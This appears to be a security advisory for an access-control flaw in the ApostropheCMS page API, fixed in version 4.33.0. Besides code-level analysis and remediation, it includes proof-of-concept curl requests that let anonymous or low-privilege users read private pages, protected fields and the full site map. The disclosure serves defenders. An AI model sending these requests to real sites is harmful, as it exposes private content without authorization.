Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by `_id`/slug.\n\n**Details**\n`packages/apostrophe/modules/@apostrophecms/page/index.js`:\n- `getOne` (L456–465): `await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)` — no `viewRole` threshold, no `visibility` filtering.\n- `all` handler (L318–395): `getRestQuery(req).permission(false)` (L384–385) walks every page type and returns the projection including `visibility`.\n- `publicApiCheckAsync` (L3044) only checks that `publicApiProjection` exists — it performs no authorization.\n- Correct control behaves differently: `piece-type/index.js:getOne` (L319–327) uses `getRestQuery(req)` without `.permission(false)` and enforces `viewRole`.\n\n**PoC**\n```\n# Anonymous (no session) — private, admin-only page:\ncurl \"http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published\"\n# → 200  {\"_id\":\"...:en:published\",\"title\":\"Secret Private Page\",\"slug\":\"/secret-page\",\n#         \"type\":\"private-type\",\"visibility\":\"private\",\"secretData\":\"TOP-SECRET-VALUE-abc123\"}\n\n# Anonymous full site-map dump (includes private + loginRequired pages):\ncurl \"http://localhost:3100/api/v1/@apostrophecms/page?all=1\"        # → 200, full tree\n\n# Contributor (cont_admin) reads full admin-only doc incl. protected field:\ncurl -b contrib.cookies \".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published\"\n# → 200  secretData = TOP-SECRET-VALUE-abc123\n# Controls (correctly enforced):\ncurl -b contrib.cookies \".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz\"   # → 403\ncurl -b contrib.cookies \".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft\"   # → 403\n```\n\n**Impact**\nUnauthenticated disclosure of `visibility: private` and `loginRequired` pages (full documents, not just paths) and of the complete site structure with visibility/type metadata; contributors read admin-only page types and their protected fields. Because `_id`s are enumerable and leaked by `all=1`, this is systemic.\n\n**Remediation** — Remove `.permission(false)` from `getOne`/`all` or re-apply the type's `viewRole` threshold plus the same `visibility`/login-required criteria the list and autocomplete paths use (mirror `piece-type`); make `publicApiCheck` config-presence-only and add an explicit authorization step per verb.\n\n## Affected packages\n\n- `apostrophe < 4.33.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `apostrophe 4.33.0`","depth":"sunlit","depthScore":29,"depthScoreParts":{"impact":29.2,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}
